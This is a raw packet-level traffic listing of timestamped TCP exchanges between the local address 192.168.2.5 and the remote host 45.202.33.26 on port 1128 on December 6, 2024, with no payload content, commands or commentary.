Dec 6, 2024 14:19:43.459199905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.460056067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.460150957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.460247040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.461057901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.461205006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.461321115 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.462007046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.462119102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.462167978 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.462989092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.463100910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.463151932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.464030981 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.464274883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.464332104 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.465008974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.465061903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.465110064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.466156960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.466291904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.466341019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.467237949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.467344999 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.467498064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.468117952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.468173027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.468221903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.469069958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.469172955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.469224930 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.469927073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.470083952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.470133066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.470925093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.470963955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.471112013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.472016096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.472037077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.472079992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.472896099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.473109961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.473246098 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.473898888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.474091053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.474155903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.498352051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.498364925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.498404026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.498501062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.498585939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.498631001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.499514103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.499635935 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.499695063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.501745939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.501930952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.501981020 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.618858099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.618906975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.618968964 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.619127035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.619245052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.619293928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.620142937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.620263100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.620454073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.621109009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.621196032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.621329069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.621819973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.621918917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.622116089 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.622812033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.622920990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.622968912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.623827934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.623927116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.624032974 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.624831915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.624977112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.625025034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.625787973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.625874043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.625919104 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.626830101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.626920938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.626969099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.627798080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.627897024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.628087997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.628808022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.628951073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.629293919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.629753113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.629889011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.629951000 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.630709887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.630836964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.630913973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.631731987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.631814957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.631861925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.632699013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.632838964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.632884026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.633718967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.633800983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.633848906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.634665966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.634774923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.634819984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.635657072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.635778904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.636007071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.636742115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.636920929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.636965990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.637661934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.637753963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.637810946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.638626099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.638746977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.638797045 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.639626026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.639734983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.639869928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.640608072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.640702963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.640748024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.641617060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.641772985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.641819954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.642616987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.642680883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.642724991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.643652916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.643802881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.643845081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.644584894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.644604921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.644690990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.645605087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.645672083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.645793915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.646545887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.646644115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.646718979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.647547007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.647672892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.647742033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.648566961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.648643017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.648695946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.649521112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.649626017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.649687052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.650505066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.650549889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.650686026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.651504040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.651551008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.651597977 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.652574062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.652678013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.652746916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.653490067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.653561115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.653754950 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.654452085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.654556036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.654639959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.655468941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.655592918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.655646086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.656496048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.656584978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.656671047 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.657449007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.657565117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.657697916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.658459902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.658556938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.658602953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.659444094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.659579039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.659627914 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.660424948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.660542965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.660594940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.661406994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.661546946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.661617041 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.662364006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.662491083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.662529945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.663373947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.663450003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.663510084 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.664407015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.664478064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.664697886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.665359020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.665452957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.665565968 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.666342020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.666414976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.666627884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.667327881 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.690706015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.690756083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.690829039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.691143990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.691186905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.691220999 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.692123890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.692166090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.692199945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.693115950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.693191051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.810880899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.810944080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.810993910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.811243057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.811505079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.811650038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.811697006 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.812638044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.812683105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.812799931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.813473940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.813529968 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.813551903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.814440012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.814502001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.814584017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.815413952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.815475941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.815511942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.816450119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.816499949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.816500902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.817414045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.817461967 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.817491055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.818386078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.818425894 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.818475008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.819447041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.819489002 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.819619894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.820445061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.820487976 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.820550919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.821365118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.821414948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.821454048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.822350979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.822396994 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.822469950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.823390007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.823412895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.823442936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.824342012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.824389935 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.824471951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.825352907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.825397015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.825438023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.826383114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.826430082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.826507092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.827341080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.827385902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.827430010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.828326941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.828423023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.828452110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.829302073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.829344988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.829420090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.830288887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.830331087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.830451965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.831254959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.831306934 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.831355095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.832293987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.832341909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.832380056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.833261013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.833309889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.833313942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.834227085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.834268093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.834327936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.835237980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.835287094 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.835382938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.836239100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.836288929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.836415052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.837203026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.837241888 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.837280035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.838174105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.838222980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.838325977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.839185953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.839221954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.839246988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.840181112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.840270042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.840317965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.841157913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.841203928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.841263056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.842205048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.842259884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.842390060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.843180895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.843224049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.843374014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.844120979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.844173908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.844244003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.845112085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.845160007 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.845225096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.846103907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.846148968 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.846235037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.847112894 CET	1128	49704	45.202.33.26	192.168.2.5
